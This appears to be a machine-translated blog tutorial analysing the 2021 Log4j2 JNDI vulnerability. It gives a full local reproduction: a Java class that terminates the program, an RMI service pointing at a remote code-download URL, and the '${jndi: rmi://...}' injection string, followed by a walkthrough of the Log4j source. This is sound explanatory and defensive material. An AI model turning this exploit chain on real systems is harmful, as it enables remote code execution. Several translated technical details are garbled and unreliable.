[emergency] Log4j has released a new version of 2.17.0. Only by thoroughly understanding the causes of the vulnerability can we respond to changes with the same method, and beginners can understand it

1 event background

After a week's fermentation of Log4j2 RCE event, things have become more and more complex and interesting. Even log4j officially released 2.15 Not long after version 0, a statement was issued that 2.15 Version 0 did not completely solve the problem, and then continued to release 2.16 Version 0. Everyone thought 2.16 0 is the final version. I didn't expect it to explode again soon. Log4j 2.17 0 was born. I believe all of you are working overtime and staying up late to urgently repair and correct the security vulnerabilities exposed by Apache Log4j. All enterprises are trembling. The network police have informed all webmasters, including me. I have also received the notice from the network police of Hunan Changsha high tech Zone. I also urgently released two tutorials to give you tips. The tutorials I released before are still valid.

[emergency] Apache Log4j Arbitrary Code Execution Vulnerability security risk upgrade and repair tutorial

[emergency] continue to toss around. Log4j will release 2.16.0 again. It is strongly recommended to upgrade

Although you can quickly solve the problem step by step according to the tutorial, many little friends still have a lot of doubts and don't know why. Here, I will give you a detailed analysis and reproduce the causes of Log4j2 vulnerability. It is purely for the purpose of learning.

Log4j2 vulnerability is generally attacked by injecting malicious code through JNDI. The specific operation methods include RMI and LDAP.

2 JNDI introduction

2.1 JNDI definition

JNDI (Java Naming and Directory Interface) is an API in Java that provides interfaces for naming and directory services. JNDI is mainly composed of two parts: naming and directory (directory), where naming refers to binding an object to a Context context through a unique identifier, and the object can be found through the unique identifier. Directory mainly refers to binding the attribute of an object to the Context DirContext of directory, obtaining the attribute of the object through the name, and operating the attribute at the same time.

2.2 JNDI architecture

Java applications access directory services through JNDI API, and JNDI API will call Naming Manager to instantiate JNDI SPI, and then operate naming or directory services through JNDI SPI, such as LDAP, DNS, RMI, etc. JNDI has implemented the operation API for LDAP, DNS, RMI and other directory servers. The frame composition is as follows:

2.3 JNDI core API

Class name explain
Context The interface class of naming service consists of many name to object key value pairs. You can bind the key value pairs to this class through this interface, or you can get the bound objects according to name through this class
InitialContextNaming (naming service) an entry class for operations, through which you can perform related operations on naming services
DirContext The interface class of Directory directory service, which inherits from Context and extends the binding and obtaining operations of object attributes on the basis of Naming service
InitialDirContext The entry class for Directory service related operations, through which Directory related service operations can be performed

Java calls services through JNDI API. For example, the familiar odbc data connection calls the data source through JNDI. You should be familiar with the following code:

<?xml version="1.0" encoding="UTF-8"?>
<Context>
    <Resource name="jndi/person"
            auth="Container"
            type="javax.sql.DataSource"
            username="root"
            password="root"
            driverClassName="com.mysql.jdbc.Driver"
            url="jdbc:mysql://localhost:3306/test"
            maxTotal="8"
            maxIdle="4"/>
</Context>

In context In the XML file, we can define the database driver, url, account password and other key information. The content of the name field is user-defined. Next, use the InitialContext object to get the data source

Connection conn=null; 
PreparedStatement ps = null;
ResultSet rs = null;
try { 
  Context ctx=new InitialContext(); 
  Object datasourceRef=ctx.lookup("java:comp/env/jndi/person"); //Reference data source 
  DataSource ds=(Datasource)datasourceRef; 
  conn = ds.getConnection(); 
  
  //Omit some codes
  ...
  
  c.close(); 
} catch(Exception e) { 
  e.printStackTrace(); 
} finally { 
  if(conn!=null) { 
    try { 
      conn.close(); 
    } catch(SQLException e) { } 
  } 
}

Are you familiar with it? I won't introduce other applications of JNDI here. If you don't understand JNDI/RMI/LDAP and other related concepts, please Baidu yourself.

3 attack principle

Next, I will take RMI as an example to detail the reproduction steps and analyze the reasons. Before explaining the basic attack principle, let's look at a sequence diagram:

1. The attacker first publishes an RMI service, which will bind an RMI object of reference type. Specify a remote class containing malicious code in the reference object. For example: include system Exit (1) and other similar dangerous operations and the download address of malicious code.

2. The attacker then publishes another malicious code download service, which can download all classes containing malicious code.

3. An attacker can inject RMI calls by exploiting the vulnerability of Log4j2, such as logger Info ("log information ${jndi: rmi://rmi-service:port/example}").

4. After RMI is called, an RMI remote object of reference type will be obtained, which will load malicious code and execute.

4. Loophole recurrence

4.1 creating malicious code

Create classes related to malicious code. The following code is for learning only:

package com.tom.example.log4j;

public class HackedClassFactory {

    public HackedClassFactory(){
        System.out.println("The program is about to terminate");
        System.exit(1);
    }
}

Create the definition of the HackedClassFactory class and write the malicious code that terminates the program in the constructor.

4.2 release malicious code

Print the HackedClassFactory class into a jar package and publish it to the HTTP server. You can download it normally through a simple Get request.

4.3 creating RMI service

Write the following code and run the program:

package com.tom.example.rmi;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.util.Hashtable;
import com.sun.jndi.rmi.registry.ReferenceWrapper;

public class HackedRmiService {
    
    public static void main(String[] args) {
        try {
            int port = 2048;  //Set RMI service remote listening port
            //Create and publish RMI services
            LocateRegistry.createRegistry(port);
            Hashtable<String, Object> env = new Hashtable<String,Object>();
            env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
            env.put(Context.PROVIDER_URL,"rmi://127.0.0.1" + ":" + port);
            Context context = new InitialContext(env);


            String serviceName = "example";
            String serviceClassName = "com.tom.example.log4j.HackedClassFactory";
            //Specify the download address of the malicious code
            Reference refer = new Reference(
                    serviceName,
                    serviceClassName,
                    "http://127.0.0.1/example/classes.jar");
            ReferenceWrapper wrapper = new ReferenceWrapper(refer);

            //Bind an object of reference type for RMI service, which can be accessed remotely
            context.bind(serviceName,wrapper);

        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

After the RMI service is started, the RMI service with listening port 2048 is published.

Run the netstat -ano | find "2048" command to verify that the RMI service has been started normally, as shown in the following figure:

4.4 injecting malicious code

Next, we inject malicious code by using the vulnerability of Log4j. There is a business scenario in which a known user logs in. Regardless of how it is implemented, the code is as follows:

@RequestMapping(value="/login")
public ResponseEntity login(String loginName,String loginPass){
    
    ResultMsg<?> data = memberService.login(loginName,loginPass);

    //Demo code, omitting business logic. The default is successful login
    log.info("Login succeeded",loginName);

    String json = JSON.toJSONString(data);

    return ResponseEntity
            .ok()
            .contentType(MediaType.APPLICATION_JSON)
            .body(json);
}

Using the Postman test, the expected results can be obtained by normal access, as shown in the figure below:

After the user logs in successfully, the token will be returned normally, which seems to be a normal operation. The careful guy found that after successful login, a log will be printed in the background and the login user name will be output.

Next, I do an unconventional operation. Enter the user name as ${jndi: rmi://localhost:2048/example}

We found that the program has been unable to respond. Looking at the background log, it has stopped running.

Here is just a demonstration effect. The malicious code I wrote is just to terminate the program. If the attacker injects other malicious code, the consequences will be unimaginable.

5 source code analysis

Through the above case, the complete process of the attacker attacking the target program by using the vulnerability of log4j is restored. Next, analyze the source code of log4j to understand the root cause. The culprit is the format() method in the MessagePatternConverter component of Log4j2. Log4j will indirectly call this method when logging. The specific source code is as follows:

From the source code, we can find that this method will intercept the string between $and {} and take this character as the condition for finding objects. If the character is in the protocol format of jndi:rmi, the RMI call in JNDI mode will be made to trigger the native RMI service call. The specific call location is in the substitute() method of strsubstitute:

private int substitute(LogEvent event, StringBuilder buf, int offset, int length, List<String> priorVariables) {

   //Some codes are omitted here
   ...

    this.checkCyclicSubstitution(varName, (List)priorVariables);
    ((List)priorVariables).add(varName);
    String varValue = this.resolveVariable(event, varName, buf, startPos, pos);
    if (varValue == null) {
        varValue = varDefaultValue;
    }
    
     //Some codes are omitted here
    ...
    
}

resolveVariable() in the above code will eventually call the lookup() method of InitialContext:

protected String resolveVariable(LogEvent event, String variableName, StringBuilder buf, int startPos, int endPos) {
    StrLookup resolver = this.getVariableResolver();
    return resolver == null ? null : resolver.lookup(event, variableName);
}

Through breakpoint debugging, we do find that RMI service is called, as shown in the following figure:

Finally, after the malicious code is loaded through RMI, javax. Net will be called naming. spi. The getObjectFactoryFromReference() method of namingmanager loads malicious code, that is, the com.com we wrote earlier tom. example. log4j. Hackedclassfactory class. First, try to find it locally. If it cannot be found locally, it will be loaded through the remote address, that is, the download service we publish, that is http://127.0.0.1/example/classes.jar

After loading the remote code, the constructor is called by reflection to create an instance of the attack class, and the malicious code is written in the constructor, so the malicious code is executed in the middle of the attacker's program.

See here, do you feel the same as SQL injection.

5 risk conditions

The vulnerability needs to meet the following conditions before it can be attacked:

1. Firstly, the vulnerable version of Logj4j2 is used, that is < = 2.14 Version of 1.

2. Attackers have the opportunity to inject malicious code, such as log information recorded in the system without any special filtering.

3. Attackers need to publish RMI remote services and malicious code download services.

4. The attacker's network can access RMI service and malicious code download service, that is, the attacker's server can access the public network at will, or publish similar dangerous services on the intranet.

5. The attacker opened the trusteurcodebase attribute of RMI/LDAP and other protocols in the JVM, which is true.

The above is my complete reproduction and root cause analysis of Log4j2 RCE vulnerability. Of course, the most efficient way is to turn off the relevant functions of Lookup. Although the official is also repairing urgently, there are certain risks involved in software upgrading, and a lot of repeated testing may be required.

The tutorial I released urgently before is still valid. You can continue to refer to it and solve the problem in the most efficient and reliable way.

[emergency] Apache Log4j Arbitrary Code Execution Vulnerability security risk upgrade and repair tutorial

[emergency] continue to toss around. Log4j will release 2.16.0 again. It is strongly recommended to upgrade

Pay attention to WeChat official account Tom bomb structure and reply to "Spring" to get the complete source code.

This article is the original of "Tom bomb architecture". Please indicate the source for reprint. Technology lies in sharing, I share my happiness!
If this article is helpful to you, you are welcome to pay attention and praise; If you have any suggestions, you can also leave comments or private letters. Your support is the driving force for me to adhere to my creation. Focus on WeChat official account Tom structure, get more dry cargo!

It's not easy to be original. It's cool to insist. I've seen it here. Little partners remember to like, collect and watch it. Pay attention to it three times a button! If you think the content is too dry, you can share and forward it to your friends!

Keywords: Java

Added by stewb on Wed, 22 Dec 2021 02:36:03 +0200